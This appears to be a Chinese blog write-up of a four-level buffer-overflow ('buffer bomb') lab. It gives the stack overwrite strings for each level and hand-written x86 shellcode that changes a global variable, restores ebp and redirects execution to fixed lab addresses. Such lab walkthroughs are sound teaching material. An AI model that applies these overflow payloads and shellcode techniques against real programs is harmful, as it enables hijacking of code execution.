缓冲区炸弹

关键是知道栈里都放了一些什么就行

第一关

在这里插入图片描述
故将想要返回的地址覆盖到“返回到test的地址”上即可
故密码为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 11 40 00
(注意小端格式)

第二关

在这里插入图片描述
通行密码为0X32C17CEB,将[esp+8]处修改为该值即可
在这里插入图片描述
依旧是覆盖“返回到test的地址”
返回后的栈为
在这里插入图片描述
覆盖“4个字节”为通行密码即可
故密码为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 40 00 00 00 00 00 EB 7C C1 32

第三关

要修改全局变量 _global_value
在这里插入图片描述
在这里插入图片描述
eax里存的我们输入字符串的位置地址
故我们跳进eax,执行我们的机器代码即可
汇编指令:

mov eax,0x32C17CEB
mov [0x409004],eax
push 0x401250
retn

机器代码:
B8EB7CC132A3049040006850124000C3

故密码为:B8 EB 7C C1 32 A3 04 90 40 00 68 50 12 40 00 C3 74 FE 19 00

第四关

不仅要修改全局变量_global_value,还要恢复栈,很明显空间根本不够,考虑两次调用getbuf(0x401130)
第一次调用getbuf
在这里插入图片描述
在这里插入图片描述

跳进eax: 0x0019fe74
汇编指令:

sub esp,0x20
push 0x401130
ret

机器代码:

83EC206830114000C3

保持ebp的值不变:
在这里插入图片描述
第二次调用getbuf的栈:
在这里插入图片描述
汇编指令:

mov eax,0x32C17CEB
push 0x19FE70
retn

机器代码:

B8EB7CC1326870FE1900C3

其中 0x19FE70 可以通过查看栈信息找到,即存放下一个机器代码的位置
在这里插入图片描述
注意此时的eax值已经改变,要用已经改变的,同时依旧保持ebp的值。

保存ebp(test中的):
在这里插入图片描述
0x19FE70处的汇编代码:

mov ebp,0x19FE94
push 0x4012A0
ret

机器代码:

BD94FE190068A0124000C3

之后进入第四关,最后有一个retn,地址即为20字节后的四个字节,此时我要找一个新的地方,方便我缓冲区溢出成功,于是找了0x19FE80这个位置
恰好是在我输入完前面所以字符串之后的位置,故紧跟着输入我想输入的
汇编指令:

mov [0x00409004],eax
push 0x401181
retn

机器代码:

B8EB7CC1326881114000C3

在这里插入图片描述
输出缓冲区溢出成功的位置:0x401181

故密码为:83 EC 20 68 30 11 40 00 C3 00 00 00 94 fe 19 00 74 fe 19 00
(这里有一个换行符)
B8 EB 7C C1 32 68 70 FE 19 00 C3 00 94 fe 19 00 58 fe 19 00 80 FE 19 00 A3 04 90 40 00 BD 94 FE 19 00 68 A0 12 40 00 C3 B8 EB 7C C1 32 68 81 11 40 00 C3

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值